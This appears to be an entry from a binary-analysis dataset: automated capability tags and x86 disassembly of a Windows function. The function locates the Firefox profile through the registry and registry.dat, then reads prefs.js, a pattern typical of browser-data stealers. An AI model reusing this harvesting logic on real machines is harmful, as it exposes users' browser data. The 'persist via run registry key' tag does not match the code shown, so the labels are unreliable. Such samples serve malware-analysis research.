Function at 0x4207fc
Capabilities:
Get common file path
Get file size
Persist via run registry key
Query or enumerate registry value
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov al, byte [0x43ce60]
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
push 0x40
mov byte [ebp - 0x18c], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x18b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x18
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x87]
mov byte [ebp - 0x88], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
or dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysReAllocStringLen
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
mov esi, 0x104
jne 0x42088a
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
lea eax, [ebp - 0x290]
push eax
push ebx
push ebx
push str.AppData
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x420898
lea eax, [ebp - 0x290]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x290]
push str.Mozilla_registry.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x290]
push SysReAllocStringLen
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp dword [ebp - 0xc], esi
je 0x4208d9
lea ecx, [ebp - 0xc]
call fcn.00404bd5
mov dword [ebp - 0xc], esi
push ebx
push ebx
push ebx
push 2
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
cmp dword [ebp - 8], esi
je 0x4208fa
lea ecx, [ebp - 8]
call fcn.00408b6d
mov dword [ebp - 8], esi
push ebx
push ebx
push ebx
push 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp dword [ebp - 4], esi
je 0x42091a
lea ecx, [ebp - 4]
call fcn.00421bbd
mov dword [ebp - 4], esi
mov esi, dword [ebp - 4]
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push str.CurrentProfile
add edi, esi
push edi
push esi
call fcn.0041fce1
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x24], eax
je 0x420997
add eax, 0xf
push eax
lea eax, [ebp - 0x88]
push eax
call esi
lea eax, [ebp - 0x88]
push eax
push edi
push dword [ebp - 0x24]
call fcn.0041fce1
add esp, 0xc
cmp eax, ebx
je 0x420997
lea ecx, [ebp - 0x88]
inc eax
push ecx
push edi
push eax
call fcn.0041fce1
add esp, 0xc
cmp eax, ebx
je 0x420997
push str.directory
push edi
push eax
call fcn.0041fce1
add esp, 0xc
cmp eax, ebx
jne 0x4209b6
push str.directory
push edi
push dword [ebp - 0x20]
call fcn.0041fce1
add esp, 0xc
cmp eax, ebx
jne 0x4209b6
lea ecx, [ebp - 0x14]
call fcn.0040f7a1
jmp 0x420a1f
add eax, 0xa
push eax
lea eax, [ebp - 0x18c]
push eax
call esi
lea eax, [ebp - 0x18c]
push str.prefs.js
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
or dword [ebp - 0x10], 0xffffffff
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x18c]
push SysReAllocStringLen
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp dword [ebp - 0x10], esi
je 0x420a08
lea ecx, [ebp - 0x10]
call fcn.00404bd5
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], 0xffffffff
jne 0x420a3b
cmp dword [ebp - 0x14], ebx
je 0x420a1f
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 4], ebx
je 0x420a30
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x420aa9
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.00423e37
mov esi, dword [ebp - 0x1c]
pop ecx
lea ecx, [ebp - 0x18]
push ebx
push ecx
push edi
push eax
mov dword [esi + 0x10], eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420a6f
mov ecx, esi
call fcn.00420ac3
cmp dword [ebp - 0x10], 0xffffffff
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x420a84
push dword [ebp - 0x10]
call esi
or dword [ebp - 0x10], 0xffffffff
cmp dword [ebp - 0x14], ebx
je 0x420a95
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 4], ebx
je 0x420aa6
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
je 0x420ab3
push dword [ebp - 8]
call esi
mov dword [ebp - 8], ebx
cmp dword [ebp - 0xc], 0xffffffff
je 0x420abe
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret